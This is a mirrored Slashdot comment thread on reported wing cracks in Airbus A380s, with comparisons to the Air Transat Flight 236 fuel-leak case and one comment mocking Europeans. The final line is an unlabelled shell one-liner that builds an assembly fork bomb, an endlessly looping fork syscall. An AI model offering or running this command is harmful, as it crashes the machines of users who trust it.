Slashdot Mirror
World's Largest Passenger Plane May Be Unsafe, Some Say
CNET reports (citing this BBC video account) that some aircraft engineers in Australia are concerned about small cracks that have appeared on the wing ribs of some Airbus A380 airplanes, a report says. They're calling for the whole fleet to be grounded, but Airbus says the cracks are harmless.
Do we need to wait for a catastrophic accident where hundreds of people die?
This is another horrifying incident with Airbus
http://en.wikipedia.org/wiki/Air_Transat_Flight_236#Investigation
The crew got a warning of a fuel imbalance so they pumped fuel
The incident also led to the Directorate General for Civil Aviation (DGAC) and Federal Aviation Administration (FAA) issuing an Airworthiness Directive,[7] forcing all operators of Airbus model A318-100, A319-100, A320-200, A321-100, and A321-200 Series aeroplanes; and Model A320-111 aeroplanes to change the flight manual, stressing that crews should check that any fuel imbalance is not caused by a fuel leak before opening the cross-feed valve. The French Airworthiness Directive (AD) required all airlines operating these Airbus models to make revisions to the Flight Manual before any further flights were allowed. The FAA gave a 15-day grace period before enforcing the AD. Airbus also modified its computer systems; the on-board computer now checks all fuel levels against the flight plan. It now gives a clear warning if more fuel is being lost than the engines can consume. Rolls-Royce also issued a bulletin advising of the incompatibility of the affected engine parts.
It seems like right up until 2001 Airbus were still finding subtle problems like this in their manuals and software. Boeing have been building jumbos for longer and have had more time to find things like this.
Also Boeing operates in a proper American capitalist environment, not like the cheese eating subsidy moneys over in the rapidly collapsing Euroland.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;